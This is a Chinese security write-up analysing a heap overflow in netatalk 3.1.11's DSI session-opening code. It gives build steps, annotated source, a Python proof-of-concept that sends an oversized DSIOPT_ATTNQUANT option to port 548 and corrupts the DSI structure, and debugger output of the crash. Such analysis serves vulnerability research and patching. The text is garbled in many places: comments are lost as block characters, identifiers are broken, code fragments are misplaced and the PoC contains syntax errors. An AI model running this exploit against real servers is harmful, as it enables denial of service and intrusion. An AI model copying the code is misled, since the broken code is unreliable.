hackedbylh / 2018-12-29 10:51:00 / 浏览数 2721 技术文章 技术文章 顶(0) 踩(0)

## 编译安装

### 首先下载带有漏洞的源代码

https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

```
安装一些依赖库(可能不全,到时根据报错安装其他的库)
```

```
sudo apt install libcrack2-dev
sudo apt install libgssapi-krb5-2
sudo apt install libgssapi3-heimdal
sudo apt install libgssapi-perl
sudo apt-get install libkrb5-dev
sudo apt-get install libtdb-dev
sudo apt-get install libevent-dev
```

### 然后编译安装

```
$ ./configure --with-init-style=debian-systemd --without-libevent --without-tdb --with-crackli
$ make
```

### 编译安装好后,编辑一下配置文件

\$ sudo make install

```
root@ubuntu:~# cat /usr/local/etc/afp.conf
[Global]
                           # Mac Mac
mimic model = Xserve
log level = default:warn
log file = /var/log/afpd.log
                               # = = = = = = , = = = = = = =
hosts allow = 192.168.245.0/24
                      #2222222
hostname = ubuntu
[Homes]
                          #HINHome
basedir regex = /tmp
[NAS-FILES]
                  #
path = /tmp
```

### 然后尝试启动服务

```
$ sudo systemctl enable avahi-daemon
$ sudo systemctl enable netatalk
$ sudo systemctl start avahi-daemon
$ sudo systemctl start netatalk
```

启动后 afpd 会监听在 548 端口,查看端口列表确认服务是否正常启动

为了调试的方便,关闭 alsr

echo 0 > /proc/sys/kernel/randomize\_va\_space

### 代码阅读笔记

为了便于理解漏洞和 poc 的构造,这里介绍下一些重点的代码逻辑。

程序使用多进程的方式处理客户端的请求,每来一个客户端就会fork一个子进程处理请求的数据。

#### 利用客户端请求数据初始化结构体

首先会调用 dsi\_stream\_receive 把客户端的请求数据填充到 DSI 结构体中。

```
使用客户端的数据填充结构体的代码
```

} dsi\_data;

```
* Read DSI command and data
* @param dsi (rw) DSI handle
* @return DSI function on success, 0 on failure
int dsi_stream_receive(DSI *dsi)
char block[DSI_BLOCKSIZ];
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
if (dsi->flags & DSI_DISCONNECTED)
    return 0;
 /* read in the header */
 if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
  return 0;
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
if (dsi->header.dsi_command == 0)
    return 0;
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi data.dsi doff, block + 4, sizeof(dsi->header.dsi data.dsi doff));
dsi->header.dsi data.dsi doff = htonl(dsi->header.dsi data.dsi doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi requestID);
 /* IIIIIII dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
 /* Receiving DSIWrite data is done in AFP function, not here */
 if (dsi->header.dsi data.dsi doff) {
    LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
    dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
 }
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
  return 0;
LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
return block[1];
}
代码逻辑主要是填充 header 的一些字段, 然后拷贝 header 后面的数据到 dsi->commands。
其中 header 的结构如下
#define DSI_BLOCKSIZ 16
struct dsi_block {
  uint16_t dsi_requestID;  /* request ID */
  union {
      uint32_t dsi_code; /* error code */
      uint32_t dsi_doff;  /* data offset */
```

```
/* total data length */
  uint32 t dsi len;
  uint32_t dsi_reserved;  /* reserved field */
};
header中比较重要的字段有:
dsi command 表示需要执行的动作
dsi_len 表示 header 后面数据的大小,这个值会和 dsi->server_quantum 进行比较,取两者之间较小的值作为 dsi->cmdlen 的值。
/* ■■■■■ dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
这样做的目的是为了确保后面拷贝数据到 dsi->commands 时不会溢出。
dsi->commands 默认大小为 0x101000
pwndbg> p dsi->commands
$8 = (uint8_t *) 0x7ffff7ed4010 "\001\004"
pwndbg> vmmap 0x7ffff7ed4010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x7ffff7ed4000 0x7ffff7fd5000 rw-p 101000 0
初始化代码位置
/*!
* Allocate DSI read buffer and read-ahead buffer
static void dsi_init_buffer(DSI *dsi)
{
  if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
      LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
      AFP_PANIC("OOM in dsi_init_buffer");
  }
dsi->server_quantum 默认
#define DSI_SERVQUANT_DEF 0x100000L /* default server quantum (1 MB) */
根据 header 字段选择处理逻辑
```

接下来会进入 dsi\_getsession 函数。

这个函数的主要部分是根据dsi->header.dsi\_command的值来判断后面进行的操作。这个值是从客户端发送的数据里面取出的。

```
switch (dsi->header.dsi_command) {
case DSIFUNC_STAT: /* send off status and return */
   /* OpenTransport 1.1.2 bug workaround:
    * OT code doesn't currently handle close sockets well. urk.
    st the workaround: wait for the client to close its
    * side. timeouts prevent indefinite resource use.
   static struct timeval timeout = {120, 0};
   fd_set readfds;
   dsi_getstatus(dsi);
   FD_ZERO(&readfds);
   FD_SET(dsi->socket, &readfds);
   free(dsi):
   select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);
   exit(0);
 break;
case DSIFUNC_OPEN: /* setup session */
  /* set up the tickle timer */
  dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
 dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
 dsi_opensession(dsi);
  *childp = NULL:
 return 0;
```

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import struct

ip = "192.168.245.168"

```
漏洞位于 dsi_opensession
/* OpenSession. set up the connection */
void dsi opensession(DSI *dsi)
  uint32 t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;
 if (setnonblock(dsi->socket, 1) < 0) {</pre>
      LOG(log error, logtype dsi, "dsi opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
 }
  /* parse options */
 while (i < dsi->cmdlen) {
   switch (dsi->commands[i++]) {
   case DSIOPT ATTNOUANT:
     memcpy(&dsi->attn quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);
   case DSIOPT_SERVQUANT: /* just ignore these */
   default:
     i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
   }
 }
当进入 DSIOPT_ATTNQUANT 分支时 会调用 memcpy 拷贝到 dsi->attn_quantum , 查看 dis 结构体的定义可以发现dsi->attn_quantum 是一个 4
字节的无符号整数 ,而 memcpy 的 size 区域则是直接从 dsi->commands 里面取出来的 ,而 dsi->commands
是从客户端发送的数据直接拷贝过来的。所以 dsi->commands[i] 我们可控,最大的大小为 0xff(dsi->commands是一个 uint8_t 的数组)
/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;
                                   /* multiple listening addresses */
    AFP0bj
             *AFPobj;
    int
             statuslen;
    char
             status[1400]:
    char
              *signature;
    struct dsi block
                             header;
    struct sockaddr_storage server, client;
                             timer;
/*
    struct itimerval
                                    tickle count */
    int
             tickle:
                                 /* in the middle of writing multiple packets,
    int
             in_write;
                                    signal handlers can't write to the socket */
                                 /* pending message to the client */
    int
             msg_request:
                                 /* pending SIGUSR1 down in 5 mn */
    int
             down_request
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t *commands; /* DSI recieve buffer */
    uint8_t data[DSI_DATASIZ];
                                   /* DSI reply buffer */
    size_t
             datalen, cmdlen;
             read_count, write_count;
    off t
    uint32_t flags;
                                 /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
                                 /* AFP session socket */
    int
             socket;
                                 /* listening socket */
    int
             serversock;
    /* DSI readahead buffer used for buffered reads in dsi peek */
                                 /* size of the DSI readahead buffer used in dsi_peek() */
    size_t
             dsireadbuf;
                                 /* buffer start */
    char
              *buffer;
                                 /* current buffer head */
              *start;
    char
                                 /* end of currently used buffer */
    char
             *eof;
             *end;
    char
poc
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
```

```
port = 548
sock = socket.socket(socket.AF INET, socket.SOCK STREAM)
sock.connect((ip, port))
# ■■ commands ■ ■■ dsi->attn_quantum
commands = "\x01" # DSIOPT_ATTNQUANT
commands += "\x80" # || || || ||
commands += "\timesaa" * 0x80
header = "\times00" # "request" flag \B dsi_flags
header += "\x00\x01"  # request id, dsi_requestID
header += \x00\x00\x00\x00" # dsi_data
header += struct.pack(">I", len(commands))  # dsi_len , ■■ commands ■■■■■
header += "\x00\x00\x00 # reserved
header += commands
sock.sendall(header)
print sock.recv(1024)
首先设置好 dsi 数据的头部, 然后设置 commands。设置 commands[i] 长度为 0x80, 复制的数据为 "\xaa" * 0x80。
# ■■ payload ■ ■■ dsi->attn_quantum
payload = "\x01" # DSIOPT_ATTNQUANT ■■■■, ■■■■■■■
payload += "\x80" # || || || ||
payload += "\xaa" * 0x80 # ■■
当进入
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
就会复制 0x80 个 \xaa 到 dsi->attn_quantum 处,这样会溢出覆盖 dsi->attn_quantum 后面的一些字段。
```

发送 poc, 在调试器中看看在调用 memcpy 后 dsi 结构体内部的情况

```
tickle = 0x0,
 in_write = 0x0,
 msg request = 0x0,
 down_request = 0x0,
 attn quantum = 0xaaaaaaaaa,
 datasize = 0xaaaaaaaaa,
 server quantum = 0xaaaaaaaaa,
 server\overline{ID} = 0xaaaa,
 clientID = 0xaaaa,
 commands = 0xaaaaaaaaaaaaaaaa,
 data = {0xaa <repeats 104 times>, 0x0 <repeats 65432 times>},
 datalen = 0x0,
 cmdlen = 0x82,
 read count = 0x92,
 write_count = 0x0,
 flags = 0x0,
 socket = 0x7,
 serversock = 0xffffffff,
 dsireadbuf = 0xc,
 buffer = 0x7ffff53cf010,
 start = 0x7ffff53cf010,
 eof = 0x7ffff53cf010,
 end = 0x7ffff5fcf010,
 proto_open = 0x7ffff7b7cfe0,
 proto close = 0x7fffff7b7cc60
pwndbg>
```

可以看到从 dsi->attn\_quantum 开始一直到 dsi->data 之间的字段都被覆盖成了 \xaa 。由于 dsi->commands 为一个指针,这里被覆盖成了不可访问的值,在后续使用 dsi->commands 时会触发 crash。

# 总结

当程序需要从数据里面取出表示数据长度的字段时一定要做好判断防止出现问题。

## 参考

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

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